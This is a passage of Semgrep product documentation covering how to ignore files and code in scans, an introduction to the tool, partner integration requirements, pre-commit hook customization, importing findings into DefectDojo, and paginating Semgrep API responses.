| :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------- |
| To ignore blocks of code: Add a `nosemgrep` annotation | Create a comment, followed by `nosemgrep`, at the first line or preceding line of the pattern match. This generates a finding that is automatically ignored.
Ignore files and folders through a `.semgrepignore` file | Create a `.semgrepignore` file in your **repository's root directory** or your **project's working directory** and add patterns for files and folders there. Patterns follow `.gitignore` syntax with some caveats. See [Defining ignored files and folders in `.semgrepignore`](#define-ignored-files-and-folders-in-semgrepignore). | [`.semgrepignore` sample file](https://raw.githubusercontent.com/semgrep/semgrep/develop/cli/src/semgrep/templates/.semgrepignore) |
## Understand Semgrep defaults
Without user customization, Semgrep refers to the following to define ignored files and folders:
* Semgrep's default `.semgrepignore` file
* Your repository's `.gitignore` file (if it exists)
* For Semgrep AppSec Platform users: each project (repository or subfolder in monorepo) in Semgrep has a list of ignored files and folders in its project details page.
In the absence of a user-generated `.semgrepignore`, Semgrep refers to [its repository's default template](https://github.com/semgrep/semgrep/blob/develop/cli/src/semgrep/templates/.semgrepignore):
```text theme={null}
# Administrative folder or file used by popular version control systems
.git
.svn
.hg
_darcs
CVS
# Paths to files and folders that are typically large and ignorable
build/
vendor/
dist/
*.min.js
.env/
.tox/
# Package managers
node_modules/
.npm/
.yarn/
.venv/
_opam/
_build/
_cargo/
# Note that PHP composer uses vendor/ and C++ conan uses build/
# .venv is used both by Go and Python.
# Common test paths
test/
tests/
testsuite/
*_test.go
```
## Override defaults
The default `.semgrepignore` file causes Semgrep to skip these folders:
* `/tests`, `/test`
* `/vendors`
To include these folders:
Create a `.semgrepignore` file at the repository root without those paths.
For Platform users: remove the folders from the project ignore list in **Projects >** ***PROJECT\_NAME*** **> Details page > Settings > Path ignores > Code (SAST) & Supply Chain (SCA)**.
## Files, folders, and code beyond Semgrep's scope
There are files that Semgrep ignores even without `.semgrepignore`:
* Large files (maximum file size defaults to 1 MB)
* Binary files
* Unknown file extensions (file extensions not matched with any supported programming language)
Large files and unknown file extensions are included or excluded through command line flags (See [CLI reference](/cli-reference)). Binary files are never scanned.
This document defines **files, folders and code** as those that are **relevant to a Semgrep scan**. For example, `.jpg` files are not a part of Semgrep's scope and therefore are not part of the scope of this document.
## Customize ignore behavior
Semgrep provides several methods to customize ignore behavior. Refer to the following table to see which method suits your goal:
| Goal | Method |
| :----------------------------------------------------------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| To ignore custom files and folders each time you run a Code or Supply Chain scan. | Add these files to your `.semgrepignore` file or [define them through Semgrep AppSec Platform](#define-ignored-files-and-folders-in-semgrep-appsec-platform). |
| To ignore specific code blocks each time you run a scan. | Create a comment with the word `nosemgrep`. |
| To ignore files or folders for a particular scan. | Run Semgrep with the flag `--exclude` followed by the pattern or file to be excluded. See [CLI reference](/cli-reference). |
| To include files or folders for a particular scan. | Run Semgrep with the flag `--include` followed by the pattern or file to be included. Any file that isn't matched is excluded. See CLI reference. When including a pattern from a `.gitignore` or `.semgrepignore` file, `--include` does not override either, resulting in the file's exclusion. |
| To scan all files within Semgrep's scope each time you run Semgrep (only files in `.git` are ignored). | Create an empty `.semgrepignore` file in your repository root directory, and for `semgrep ci` scans, [remove any entries listed in your **Path Ignores** list](#define-ignored-files-and-folders-in-semgrep-appsec-platform) in Semgrep AppSec Platform. |
| To include files or folders defined within a `.gitignore` for a particular scan. | Run Semgrep with the flag `--no-git-ignore`. |
| To ignore files or folders for a particular rule. | Edit the rule to set the `paths` key with one or more patterns. See [Rule syntax](/writing-rules/rule-syntax#paths). |
## Define ignored files and folders in `.semgrepignore`
Configure a `.semgrepignore` file to ignore files and folders each time you run a Code or Supply Chain scan.
**CAUTION**
For Secrets scans, Semgrep ignores both the default and user-defined `.semgrepignore` files. You can still configure secrets-specific ignores in [Semgrep AppSec Platform](#define-ignored-files-and-folders-in-semgrep-appsec-platform) or use the `--exclude` flag to ignore files or folders for a particular scan.
`.semgrepignore` syntax mirrors `.gitignore` syntax, with the following modifications:
* "Character range" patterns (lines including a collection of characters inside brackets) are unsupported.
* An `:include ...` directive is added, which allows another file to be included in the ignore pattern list; typically this included file would be the project `.gitignore`. No attempt at cycle detection is made.
* Any line that begins with a colon, but not `:include`, raises an error.
* `\:` is added to escape leading colons.
Unsupported patterns are silently removed from the pattern list (this is done so that `.gitignore` files may be included without raising errors). The removal is logged.
For a description of `.gitignore` syntax, see [.gitignore documentation](https://git-scm.com/gitignore).
## Define ignored files and folders in Semgrep AppSec Platform
Another method for users to define ignore patterns is through Semgrep AppSec Platform. These patterns follow the same syntax as `.semgrepignore` in the preceding section. You can either define patterns at the individual-project level or at the organization level, so they're applied to all projects owned by that organization.
Ignoring files and folders through this method is **additive**.
Adding items to Semgrep AppSec Platform's **Path Ignores** box **doesn't** override default Semgrep ignore patterns included with its CLI tool, since the patterns are additive. To override a Semgrep default, both an existing local `.semgrepignore` file and the **Path ignores** box must be configured. See [Override defaults](#override-defaults).
All files and folders defined using Semgrep AppSec Platform's **Path Ignores** feature, both for a specific project and globally, are additive.
**TIP**
This method is used by the `semgrep ci` command. For `semgrep scan`, you can only define ignored files and folders through `.semgrepignore`.
### Define files and folders for a specific project
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
From the sidebar, click **[Projects](https://semgrep.dev/orgs/-/projects)**.
Find the project you want to modify, then click its ** icon** under **Details**.
Click the **Settings** tab.
To define files and folders that Semgrep can ignore:
i. Click **Code (SAST) & Supply Chain (SCA)** or **Secrets** to expand and display the **Path Ignores** box.
ii. Enter files and folders to ignore in the relevant **Path Ignores** box.
iii. Click **Save changes**.
### Define files and folders for all projects of an organization
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Click **Settings**. This takes you to the **General > Global** settings tab.
Expand the **Path ignores** section. Enter the file and folder paths you want Code and Supply Chain to ignore in **For Code and Supply Chain**. Enter the file and folder paths you want Secrets to ignore in **For Secrets**.
Click **Save changes**.
### Add items to `.semgrepignore` during findings triage
You can also add files to `.semgrepignore` while triaging individual findings using Semgrep AppSec Platform:
On the Semgrep Code [Findings](https://semgrep.dev/orgs/-/findings?tab=open) page, click the **Status** filter, and then select the **Open** status to see all open findings.
Click the finding you want ignored to open its **Details** page.
Select **Ignored**, and optionally, select an **Ignore reason**.
Click to expand **Ignore files in future scans...**.
Select the files you want ignored in future scans.
Click **Change status** to save.
## Ignore code through nosemgrep
To ignore blocks of code, define an **inline comment**, followed by the word `nosemgrep`, at either the **first line** or **the line preceding** the potential match. Semgrep ignores all rule pattern matches. This functionality works across all supported languages.
**CAUTION**
Ignoring code through this method still generates a finding. The finding is automatically set to the **Ignored** triage state.
`nosemgrep` in Python:
```python theme={null}
bad_func1() # nosemgrep
# nosemgrep
bad_func2()
```
`nosemgrep` in JavaScript:
```javascript theme={null}
// nosemgrep
bad_func1()
bad_func2(); // nosemgrep
bad_func3( // nosemgrep
arg
);
```
To ignore blocks of code for a **particular rule**, enter its `rule-id` as follows: `nosemgrep: RULE_ID`. To ignore **multiple rules**, use a comma-delimited list. `rule-ids` must be referenced with their namespace.
Python examples:
```python theme={null}
bad_func1() # nosemgrep: rule-id-1
# nosemgrep: rule-id-1, rule-id-2
bad_func2()
```
JavaScript examples wherein rules are stored in a `configs` subdirectory:
```javascript theme={null}
// nosemgrep: configs.rule-id-3
bad_func1()
bad_func2(); // nosemgrep: configs.rule-id-3
bad_func3( // nosemgrep: configs.rule-id-3, configs.rule-id-4
arg
);
```
**NOTE**
Previous annotations for ignoring code inline, such as `nosem`, are deprecated.
## Disable rules on Semgrep AppSec Platform
Semgrep AppSec Platform users can disable rules and rulesets through the Policies page. See [Disable rules](/semgrep-code/policies#disable-rules) and [Disable rulesets](/semgrep-code/triage-remediation/#disable-a-ruleset-or-a-rule).
## Ignore findings
**Ignoring** can also be a triage action. In this case, the code is scanned rather than excluded, and if a pattern match occurs, a finding record is generated that you can then triage as **Ignored**. See [Triage and remediate Semgrep Code findings in Semgrep AppSec Platform](/semgrep-code/triage-remediation/#ignore-findings) to learn how to:
## Troubleshooting
### Tips to prevent unexpected ignore behavior
**TIP**
This section focuses on ignoring as excluding or skipping files, not as a triage action.
Because Semgrep ignore logic is configured at the file, repository, and platform level, you may sometimes encounter unexpected behavior.
* If possible, only create a custom, user-defined `.semgrepignore` file if you are **overriding** Semgrep defaults. This means defining all other items to ignore through the global or project path ignores.
* This method works well if your organization primarily scans using the `semgrep ci` command.
* Be aware that creating a user-defined `.semgrepignore` file enables developers to edit it.
* Include the `.semgrepignore` file in Git tracking to keep a log of changes and ensure it's applied consistently.
* To **include** a file or folder for scanning, ensure it's not in any of the following places:
* Global path ignores
* Project path ignores
* User-defined `.semgrepignore`
* Semgrep defaults (implicit) `.semgrepignore`
### `SAST_EXCLUDED_PATHS`
**For GitLab users**: if you use [the `SAST_EXCLUDED_PATHS` variable](https://docs.gitlab.com/ee/user/application_security/sast/#vulnerability-filters) to specify paths excluded from analysis, you may find that Semgrep doesn't honor these items. This is due to default Semgrep behavior. To explicitly exclude files, you must do one of the following steps:
Create a `.semgrepignore` file that lists the files you want excluded.
[Update the **Path Ignores** box](#define-ignored-files-and-folders-in-semgrep-appsec-platform) in Semgrep AppSec Platform.
# Semgrep Docs
Source: https://docs.semgrep.dev/index
Get started with Semgrep to help you catch, flag, and fix real vulnerabilities before they ship.
Semgrep docs
Find bugs and reachable dependency vulnerabilities in code. Enforce your code standards on every commit.
Scan with Semgrep AppSec Platform
Deploy static application security testing (SAST), software composition analysis (SCA), and secrets scans from one platform.
Run your first Semgrep scan.
Deploy Semgrep to your organization quickly and at scale.
Triage and remediate findings; fine-tune guardrails for developers.
Enforce your organizationβs coding standards with custom rules.
Supported languages
Product
Languages
Semgrep Code
Generally available (GA)
C and C++ β’ C# β’ Generic β’ Go β’ Java β’ JavaScript β’ JSON β’ Kotlin β’ Python β’ TypeScript β’ Ruby β’ Rust β’ JSX β’ PHP β’ Scala β’ Swift β’ Terraform
Beta
APEX β’ Elixir
Experimental
Bash β’ Cairo β’ Circom β’ Clojure β’ Dart β’ Dockerfile β’ Hack β’ HTML β’ Jsonnet β’ Julia β’ Lisp β’ Lua β’ Move on Aptos β’ Move on Sui β’ OCaml β’ R β’ Scheme β’ Solidity β’ YAML β’ XML
Semgrep Supply Chain
Generally available reachability
C# β’ Go β’ Java β’ JavaScript and TypeScript β’ Kotlin β’ PHP β’ Python β’ Ruby β’ Rust β’ Scala β’ Swift
Languages without support for reachability analysis
Dart β’ Elixir
Semgrep Secrets
Language-agnostic; can detect 630+ types of credentials or keys.
See the latest Semgrep product highlights and weekly release notes.
# Semgrep integration guide for partners
Source: https://docs.semgrep.dev/integrating
We're excited that you're integrating Semgrep into your tooling! Our goal with Semgrep is to bring world-class security tools to developers based on our conviction that software will run the most exciting parts of the future. It's not something that we can do alone; we want to build a community around sharing programmatic knowledge about how to build secure software.
## Requirements for integrators
* Do not resell rules from the Registry, unless you acquire an explicit license from Semgrep, Inc. Semgrep rules are [released under the Semgrep Rules License](https://github.com/semgrep/semgrep-rules/blob/develop/LICENSE), which prohibits redistribution in a commercial product.
* State that you are using Semgrep; refer to Semgrep as capital S with the trademark: Semgrepβ’
* Link to [semgrep.dev/login](https://semgrep.dev/login) to allow users to get an API token to pass to Semgrep so they can access the Pro Engine and rules.
* Set `SEMGREP_INTEGRATION_NAME` in your environment to your domain name (for example, "xyz.com"). This helps us reproduce and debug issues with Semgrep in your environment.
* Don't integrate `semgrep scan` in a CI setup. Instead use `semgrep ci`, which has diff-awareness built-in and is designed to be easy to integrate into dozens of CI environments. It's also much faster.
* Enable metrics (`--metrics=on`) by default, which lets the Semgrep team prioritize languages and technologies to improve speed and accuracy.
* Contribute new public rules back to the [semgrep-rules repository](https://github.com/semgrep/semgrep-rules). This helps us avoid community fragmentation and will automatically pull your rule into the searchable Registry on semgrep.dev; plus Semgrep will maintain it for you!
For more information, please refer to [the section on licensing](/licensing) in our documentation. If you have additional questions, email us at [partners@semgrep.com](mailto:partners@semgrep.com).
# Introduction to Semgrep
Source: https://docs.semgrep.dev/introduction
Semgrep is a software security tool that provides static application security testing (SAST), software composition analysis (SCA), and secrets detection. Semgrep identifies vulnerabilities in your source code without executing your code. It integrates with IDEs and CI/CD, and can also run from the Semgrep AppSec Platform.
Semgrep uses rules written in a simple schema that match code semantically. You can use out-of-the-box rules, apply community-maintained rules, or write your own to fit your workflow.
Scan results can be triaged and remediated in the Semgrep AppSec Platform. The platform includes Semgrep Multimodal, which offers remediation guidance and Suggested fixes for Semgrep Code and Secrets findings.
## Offerings
* **Community Edition** (CE): is an open source static analysis tool that can find insecure coding patterns and security vulnerabilities in source code. Semgrep CE encompasses a SAST scanning engine, community rules, and integrated development environment plugins. The core scanner supports over 30 programming languages. [Get started with CE](/getting-started/quickstart-ce).
* **Semgrep AppSec Platform** (Pro): is a commercial offering recommended for enterprise use cases. It shares the command-line interface with CE and adds additional capabilities. These include organization-wide managed scans, advanced Pro rules, software composition analysis (SCA), secrets detection, pull request comments, and AI-assisted triage and remediation. The platform now combines deterministic static analysis with AI-powered detection to extend coverage to complex business-logic flaws like insecure direct object reference (IDORs) and broken authentication. Semgrep AppSec Platform supports more than 35 programming languages, with new ones added regularly.
[Learn more](/semgrep-pro-vs-oss) about the differences between CE and Pro offerings and the features that distinguish them.
## The analysis workflow
Semgrep's analysis workflow can be divided into three stages:
### Deployment
[Deployment](/deployment/core-deployment) is the process of integrating Semgrep into your developer and infrastructure workflows. Completing the deployment process provides you with the Semgrep features that meet your security program's needs. Semgrep does not require code access to complete the core deployment process. Your code is **not** sent anywhere.
### Scan
Scanning is the process of analyzing your code to identify security vulnerabilities, exposed secrets, or risks introduced through dependencies. Semgrep provides three scanning tools that help you detect and address issues early in development and throughout your software lifecycle:
* [Semgrep Code](/semgrep-code/overview): a static application security testing (SAST) tool that detects security vulnerabilities in your **first-party code**. You can use it to scan local repositories or integrate it into your CI/CD pipeline to automate the continuous scanning of your code.
* [Semgrep Supply Chain Analysis](/semgrep-supply-chain/overview): a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
* [Semgrep Secrets](/semgrep-secrets/conceptual-overview): scans code to detect exposed API keys, passwords, and other credentials.
### Triage and remediation
After each scan, your findings are displayed in the Semgrep AppSec Platform. The filters provided allow you to manage and triage your findings.
Triage is the process of reviewing, prioritizing, and managing findings identified during Semgrep scans. It helps security teams and developers decide which issues to address, ignore, or assign for further investigation. Within the Semgrep AppSec Platform, triage tools such as filtering, tagging, and assigning owners streamline this process and integrate seamlessly into existing workflows.
Remediation is the process of fixing security issues identified during scanning. Semgrep supports remediation by providing detailed findings, contextual code examples, and, in many cases, Suggested fixes that can automatically or semi-automatically resolve vulnerabilities. These tools help developers quickly implement secure fixes while maintaining development speed.
[Semgrep Multimodal](/semgrep-multimodal/overview) enhances this workflow by providing AI-powered security recommendations to help you understand findings, assess severity, and prioritize fixes. It can also suggest potential remediation, explain rule matches in context, and guide developers toward faster resolution of issues.
## Ways to incorporate Semgrep into your development workflow
| Goal | Recommended Option | Available In |
| :------------------------------- | :------------------------------------ | :----------- |
| Quick local checks | Run Semgrep locally | CE & Pro |
| Catch issues before commit | IDE extension or pre-commit framework | CE & Pro |
| Integrate into builds | CI/CD integration | CE & Pro |
| Org-wide management & automation | Semgrep Managed Scans | Pro only |
### Run Semgrep locally
Run Semgrep directly on your machine to scan code before pushing changes. This is the quickest way to get started and experiment with rules. You can [run scans manually from the command line](/getting-started/cli) or set up local automations.
### Use Semgrep in your IDE or before commits
Incorporate Semgrep early in your development workflow by using a [supported IDE extension](/extensions/overview#official-ide-extensions) or by setting up the [pre-commit framework](/extensions/pre-commit), which runs Semgrep checks automatically before code is committed. This helps you catch issues before they ever reach your repository.
### Add Semgrep to CI/CD
[Integrate Semgrep into your CI/CD environment](/deployment/add-semgrep-to-ci) like GitHub Actions, GitLab CI/CD, Jenkins, CircleCI, Azure Pipelines, Bitbucket, or Buildkite by creating a job that your CI provider runs. After each scan, findings are sent to the Semgrep AppSec Platform for triage and remediation.
**INFO**
While CI/CD integration is supported, [Semgrep Managed Scans](#semgrep-managed-scans) are the recommended approach for organization-wide deployments.
### Semgrep Managed Scans
[Semgrep Managed Scans](/deployment/managed-scanning/overview) help teams adopt SAST, SCA, and secrets detection tools across their organization without complex setup. Scans are run automatically on Semgrepβs cloud infrastructure, and results appear directly in the AppSec Platform dashboard.
**Key features:**
* Minimal setup and no CI changes required
* Configure scans through the AppSec Platform
* Scan multiple repositories with a single integration
* Integrate results into workflows via PR comments
* Available for all Semgrep products (Code, Secrets, Supply Chain Analysis)
* Automatic bi-weekly scans
## Why Semgrep outperforms competitors (practical differences)
* **No build required for most languages:** Semgrep runs on almost any repository without complex setup. Tools like CodeQL often need a buildable environment and use their own query language.
* **Faster rule authoring and iteration:** Semgrep patterns resemble real code, making it easier to write, test, and refine rules without switching contexts. It allows for customization and extensibility without domain-specific languages, managing abstract syntax trees, or regex wrangling
* **Actionable feedback during code review:** Developers receive immediate PR or MR comments based on organization-defined policies, allowing them to fix or ignore findings during review and reducing triage churn.
* **Seamless path to deeper analysis:** With Semgrepβs platform features, teams can extend scanning to include cross-file and taint analysis, reachability checks, secrets detection, and supply chain analysis within the same workflow.
* **Support for 30+ programming languages**
Semgrep offers lower setup friction, fewer false positives in code review, simpler custom rules, and a tighter feedback loop between security and development teams.
See the [comparisons with other tools](/faq/comparisons/codeql).
# Knowledge base
Source: https://docs.semgrep.dev/kb
Choose a KB category to explore:
2 items
11 items
6 items
25 items
2 items
21 items
3 items
13 items
# Integrations
Source: https://docs.semgrep.dev/kb/integrations
Understand how to customize Semgrep behavior when using it with pre-commit.
Learn how to connect Semgrep and DefectDojo.
Learn how to paginate responses from the Semgrep API.
# Customize Semgrep in pre-commit
Source: https://docs.semgrep.dev/kb/integrations/customize-semgrep-precommit
Semgrep offers two standard pre-commit hooks [outlined here](/extensions/overview/#pre-commit).
* The `semgrep` hook is optimized to run with a provided set of rules, either local rules or rules from the Semgrep Registry.
* The `semgrep-ci` hook is optimized to run with the rules from your organization in the Semgrep AppSec Platform, without sending results to the platform, since results from pre-commit are temporary and not linked to the final code in the repository.
* This hook requires the user be logged in locally to fetch the rules from the organization.
You can also create your own Semgrep hooks for pre-commit if you have particular needs or preferences, such as if you want users to see the output of the Semgrep scan even if it passed, or if you want to limit the scan to a particular Semgrep product.
## Show the scan output
By default, pre-commit does not show the scan output if the hook passes. If you want your developers to see the output even if non-blocking findings are found, you can set the `verbose` option to print the output. To limit output to findings only (no scan information or diagnostics), redirect `stderr` to `/dev/null`, or use `--quiet`.
This example is based on the `semgrep-ci` hook, but a similar adjustment would also work with the `semgrep` hook.
```yaml theme={null}
repos:
- repo: https://github.com/semgrep/pre-commit
rev: 'v1.101.0'
hooks:
- id: semgrep-verbose
entry: semgrep
args: ["ci", "--dry-run", "--baseline-commit", "HEAD" "2>/dev/null"]
verbose: true
pass_filenames: false
```
To print only a portion of the scan output, consider using shell-based text tools such as `awk`:
```yaml theme={null}
repos:
- repo: https://github.com/semgrep/pre-commit
rev: 'v1.126.0'
hooks:
- id: semgrep-scan-summary-only
entry: bash
args:
- -c
- |
semgrep ci --dry-run --baseline-commit HEAD 2>&1 \
| awk '/Scan Summary/,/^CI scan completed successfully\./'
pass_filenames: false
language: system
verbose: true
```
This example only prints the scan summary portion of the scan log. Using this approach, scan debugging output on `stderr` is redirected to `stdout` so that findings and debugging information appear in the same output stream. Then, the portion to show (the Semgrep scan summary) is selected using `awk`.
## Limit the scan to a particular product
Semgrep Secrets is an ideal product to run before commit, since it can help prevent secrets from ever making it into the Git history, even locally. To run only Secrets in pre-commit, add the product flag to the `args`:
```yaml theme={null}
- repo: https://github.com/semgrep/pre-commit
rev: 'v1.101.0'
hooks:
- id: semgrep-secrets
pass_filenames: false
args: ["ci", "--dry-run", "--baseline-commit", "HEAD", "--secrets"]
```
## Scan with Pro rules and cross-function analysis
The `semgrep-ci` hook requires the user to be logged in locally and runs with the engine configured in the organization, but the standard `semgrep` hook can also take advantage of local login to run with Pro rules and cross-function analysis.
```yaml theme={null}
- id: semgrep
name: semgrep
entry: semgrep
args: ["--pro", "--disable-version-check", "--quiet", "--skip-unknown-extensions"]
```
This provides analysis across modified files during the pre-commit scan, which may catch additional vulnerabilities, or prevent false positives.
## Customization tips
### Useful arguments
The provided hooks include useful arguments for Semgrep that you may want to include in your hooks as well.
For example, for the `semgrep` hook that runs with a provided `--config`, the arguments also include:
* `--disable-version-check`: skip checking whether there's a new version of Semgrep (speeds up the check and avoids irrelevant output)
* `--quiet`: only print findings, not other messages
* `--skip-unknown-extensions`: if files are modified that aren't in a recognized language, skip them
The `semgrep-ci` hook runs with the pre-commit option `pass_filenames: false`. This is important because `semgrep ci` doesn't expect a list of filenames; it just expects to scan the folder, so you should preserve this option in your usage.
Adding `baseline-commit HEAD` performs a diff scan; this diff scan only scans the changes being added in the current commit (as intended for a pre-commit hook). It uses `--dry-run` so that findings that have no existence except in the local filesystem aren't added to the platform, which would otherwise result in clutter.
### Entry point
Both of the default hooks use `semgrep` as the `entry`, which means the command executed is just `semgrep` with the `args` provided. However, you can write your own `entry` point. This approach is used in the less commonly used `semgrep-docker` hook also available in the [semgrep/pre-commit repository](https://github.com/semgrep/pre-commit/blob/develop/.pre-commit-hooks.yaml).
It can also be used with a standard Semgrep execution to set environment variables in addition to (or instead of) arguments:
```bash theme={null}
entry: sh -c 'env SEMGREP_RULES= semgrep scan --code --no-suppress-errors --baseline-commit HEAD'
```
In this case, setting `SEMGREP_RULES=` substitutes for supplying `--config` and `` in the `args`.
# How to connect Semgrep and DefectDojo
Source: https://docs.semgrep.dev/kb/integrations/defect-dojo-integration
[DefectDojo](https://www.defectdojo.com/) is a well-known vulnerability management tool. It allows you to gather security issues from other tools, including Semgrep. By integrating Semgrep findings into DefectDojo, security teams can more easily monitor their overall security posture.
## Integration
Follow these steps to prepare DefectDojo and generate Semgrep findings in the proper format:
In DefectDojo:
i. Create your [**product**](https://defectdojo.github.io/django-DefectDojo/usage/models/#products).
ii. In that DefectDojo product, create an [engagement](https://defectdojo.github.io/django-DefectDojo/usage/models/#engagement), called `semgrep`. This is a CI/CD engagement type and the name designates the CI/CD tool used.
Run semgrep as `semgrep ... --json > report.json` to generate a JSON report.
Now, you are ready to use the [DefectDojo API](https://demo.defectdojo.org/api/v2/oa3/swagger-ui/).
### DefectDojo API example
To run API DefectDojo operations such as GET, POST, and DELETE, an API token is necessary. To get it, follow the [API guide](https://defectdojo.github.io/django-DefectDojo/integrations/api-v2-docs/).
Once you have a token, store it as an environment variable named `DEFECT_DOJO_API_TOKEN`:
```bash theme={null}
export DEFECT_DOJO_API_TOKEN=[YOUR_DEFECT_DOJO_TOKEN]
```
The DefectDojo API uses the `/api/v2/import-scan/` endpoint for the first import and the `/api/v2/reimport-scan` endpoint for following imports.
These endpoints take the following parameters:
* `file`: The Semgrep scan findings report or export in JSON format.
* `scan_type`: A descriptive name for the scan type. In this example, the scan type is "Semgrep JSON Report\`".
* `product_name`: The name of the product in DefectDojo to send the Semgrep findings report to.
* `engagement_name`: The name of the engagement you created the preceding "Integration" section. In this example, `semgrep`.
**INFO**
The DefectDojo API allows identifying the parameters either by name or by ID. This example follows the **By name** approach.
Here is an example snippet of a Python function using this endpoint:
```python expandable theme={null}
def uploadToDefectDojo(is_new_import, token, url, product_name, engagement_name, filename):
multipart_form_data = {
'file': (filename, open(filename, 'rb')),
'scan_type': (None, 'Semgrep JSON Report'),
'product_name': (None, product_name),
'engagement_name': (None, engagement_name),
}
endpoint = '/api/v2/import-scan/' if is_new_import else '/api/v2/reimport-scan/'
r = requests.post(
url + endpoint,
files=multipart_form_data,
headers={
'Authorization': 'Token ' + token,
}
)
if r.status_code != 200:
sys.exit(f'Post failed: {r.text}')
print(r.text)
```
The full version of this Python script can be found [here](https://github.com/r2c-CSE/semgrep-utilities/blob/main/integrations/defectdojo/import_semgrep_to_defect_dojo.py). Feel free to use this in your own environment after reviewing the script to make sure it works for you.
### Running the script
To continue with the preceding example and run the script, execute the following command:
Where:
* `DOJO_URL` is the URL where DefectDojo is.
* `PRODUCT_NAME` is the DefectDojo product name.
* `ENGAGEMENT_NAME` is the DefectDojo engagement name for that product.
* `REPORT_FILE` is the Semgrep report path.
## Integrating Semgrep and DefectDojo in a CI pipeline
To prevent tampering with findings, it is crucial to import scan results to DefectDojo in the **same pipeline or CI job** as the scan itself.
The following is an example of a GitLab job importing Semgrep findings to DefectDojo:
```yaml expandable theme={null}
import-semgrep-to-defectdojo:
stage: import
image: python:3.9-bullseye
script:
- echo "Importing Semgrep scan to DefectDojo"
- pip3 install requests
- curl -O https://raw.githubusercontent.com/r2c-CSE/semgrep-utilities/main/integrations/defectdojo/import_semgrep_to_defect_dojo.py
# Adding checksum validation
- echo $IMPORT_SEMGREP_TO_DEFECTDOJO_SHA_CHECKSUM > sha-import-dd.tmp
- shasum -a 256 -U -c sha-import-dd.tmp
- python3 import_semgrep_to_defect_dojo.py --host $DEFECTDOJO_URL --product $PRODUCT --engagement semgrep --report report.json || true
rules:
# Scan changed files in MRs, (diff-aware scanning):
- if: $CI_MERGE_REQUEST_IID
# Scan mainline (default) branches and report all findings.
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
tags:
- defectdojo
variables:
DEFECT_DOJO_API_TOKEN: $DEFECT_DOJO_API_TOKEN
```
**TIP**
As a good security practice, this pipeline includes checksum validation for the import script, to ensure that the script has not been tampered with.
There are some environment variables defined in the `gitlab-ci.yml` file, such as:
* `DEFECTDOJO_URL`
* `PRODUCT`
* `IMPORT_SEMGREP_TO_DEFECTDOJO_SHA_CHECKSUM`
They must be defined in the GitLab pipeline. Settings->CI/CD->Variables:
In the example, the values are:
* `DEFECTDOJO_URL` = [http://localhost:8080/](http://localhost:8080/) (Local DefectDojo deployment)
* `PRODUCT` = chess-game
* `IMPORT_SEMGREP_TO_DEFECTDOJO_SHA_CHECKSUM` = c41aed4055adeee415b795cc17a069b144fb51bc31f6c4925be3b82d0b54de33 Uimport\_semgrep\_to\_defect\_dojo.py
The content for this last variable was generated with the following command:
`shasum -a 256 -U import_semgrep_to_defect_dojo.py`
This command generates a unique checksum, taking as input the content of the script, and it will be used to verify that the script has not changed.
In the pipeline, the integrity of the script is verified with the following commands:
```
echo $IMPORT_SEMGREP_TO_DEFECTDOJO_SHA_CHECKSUM > sha-import-dd.tmp
shasum -a 256 -U -c sha-import-dd.tmp
```
If the script has not changed since the checksum was generated, the pipeline will continue normal execution. Otherwise it will stop and return an error.
Example DefectDojo screenshot, after a pipeline execution:
## Conclusions
If you use multiple vulnerability tools, including Semgrep, importing results to [DefectDojo](https://www.defectdojo.com/) can be helpful in managing data across all of these tools.
# How to paginate responses from the Semgrep API
Source: https://docs.semgrep.dev/kb/integrations/pagination
Semgrep's API endpoints use both offset-based pagination and cursor-based pagination.
## Offset-based pagination
Offset-based pagination defines a **limit** to specify the number of entries fetched and **offset** to indicate where to start collecting data, which correspond to the `page_size` and `page` query parameters described in this section.
The following API endpoints support offset-based pagination:
For these endpoints, include the following query parameters to paginate through results:
| Query parameter | Type | Description |
| :-------------- | :------ | :------------------------------------------------------------------------ |
| `page` | integer | The page of results to return. Page numbering begins at `0`. Default: `0` |
| `page_size` | integer | The maximum number of records returned per page. Default: `100`. |
### Example
To request a list of Code or Supply Chain findings, specifically the second page where each page contains 100 items, make a cURL call as follows:
```bash theme={null}
curl 'https://semgrep.dev/api/v1/deployments/YOUR_DEPLOYMENT_SLUG/findings?page=2&page_size=100' \
--header 'Authorization: Bearer YOUR_API_TOKEN'
```
## Cursor-based pagination
The [List Secrets](/api-reference/v1/secretsservice/list-secrets) endpoint supports cursor-based pagination:
For these endpoints, include the following query parameters to paginate through results.
| Query parameter | Type | Description |
| :-------------- | :------ | :------------------------------------------------------------------------------------------------------------------------ |
| `cursor` | string | Cursor to paginate through the results. Provide the cursor value from the response to retrieve the next or previous page. |
| `limit` | integer | Page size to paginate through the results. |
### Example
To request a list of Secrets, make a cURL call as follows:
```bash theme={null}
# modify the limit value to change the page size
curl 'https://semgrep.dev/api/v1/deployments/YOUR_DEPLOYMENT_ID/secrets?cursor=&limit=25' \
--header 'Authorization: Bearer YOUR_API_TOKEN'
```
The response includes the `cursor` attribute. Save the value returned with `cursor`, and provide it in subsequent calls to retrieve additional pages:
```bash theme={null}
curl 'https://semgrep.dev/api/v1/deployments/20169/secrets?cursor=Pm...3D&limit=25' \
--header 'Authorization: Bearer YOUR_API_TOKEN'
```
Repeat this process for additional pages.
## Mixed pagination
The following API endpoints support mixed usages of page- and cursor-based pagination:
### Example
To request a list of repositories with dependencies, make a call to the following URL. Adjust `page_size` accordingly:
```bash theme={null}
curl 'https://semgrep.dev/api/v1/deployments/YOUR_DEPLOYMENT_ID/dependencies/repositories' \
--header 'Content-Type: application/json' \
--header 'Authorization: Bearer YOUR_API_TOKEN' \
--data '{
"page_size": 5
}'
```
The API returns `cursor` as part of the response:
```bash theme={null}
{
...
"cursor": 1097374
}
```
Add the `cursor` key-value pair to the JSON body of subsequent calls to obtain additional pages:
```bash theme={null}
curl 'https://semgrep.dev/api/v1/deployments/YOUR_DEPLOYMENT_ID/dependencies/repositories' \
--header 'Content-Type: application/json' \
--header 'Authorization: Bearer YOUR_API_TOKEN' \
--data '{
"page_size": 1,
"cursor": 1097374
}'
```
# Rules
Source: https://docs.semgrep.dev/kb/rules
